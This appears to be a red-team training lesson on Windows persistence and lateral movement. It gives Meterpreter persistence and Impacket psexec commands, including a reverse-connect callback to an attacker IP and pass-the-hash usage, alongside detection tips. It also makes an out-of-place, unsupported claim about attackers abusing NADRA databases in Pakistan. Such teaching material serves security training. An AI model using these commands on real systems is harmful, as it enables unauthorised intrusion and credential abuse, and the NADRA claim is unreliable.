Advanced Persistence & Lateral Movement Techniques
After gaining an initial foothold, maintaining access and expanding within the network are critical steps in a red team engagement. This lesson covers advanced persistence mechanisms on Windows and Linux systems, and lateral movement techniques using tools like Impacket and Metasploit.
Windows Persistence Mechanisms
Windows offers multiple ways to achieve persistence. Common methods include:
- Registry Run keys: Modify
HKCU\Software\Microsoft\Windows\CurrentVersion\Runto execute code at startup. - Scheduled Tasks: Use
schtasksto create tasks that run at specific intervals. - Services: Create a new service using
sc createto run malicious executables.
In Pakistan, attackers often abuse NADRA databases to create persistent identities for long-term access. As a red teamer, you should simulate these techniques to identify vulnerabilities.
Lateral Movement with Impacket
Impacket is a collection of Python classes for working with network protocols. Key tools include:
- psexec.py: Remote code execution via SMB.
- wmiexec.py: Lateral movement using WMI.
- smbexec.py: Execute commands on remote systems via SMB.
Use these tools to move from one compromised machine to another. For example, psexec.py Administrator@<target_IP> cmd.exe will give you a shell on the target.
Practical Lab: Persistence and Lateral Movement
- On the initial foothold, use Meterpreter:
run persistence -X -i 5 -p 4444 -r <your_IP> - This creates a registry entry for automatic reconnection.
- For lateral movement, use
psexec.pywith harvested hashes:psexec.py <target_IP> -hashes <LM:NTLM>
Detecting Persistence and Lateral Movement
- Monitor for new services or scheduled tasks using Windows Event Logs (Event ID 4698).
- Use Sysmon to track process creation and network connections.
- Implement least privilege to limit the impact of credential theft.
Do / Don't
- Do: Document all persistence mechanisms and lateral movement paths in your report.
- Don't: forget to remove persistence mechanisms after the engagement to avoid leaving backdoors.
Takeaway
Practice creating a persistence mechanism in a lab environment using Metasploit and test detection using Sysmon and Windows Event Viewer.
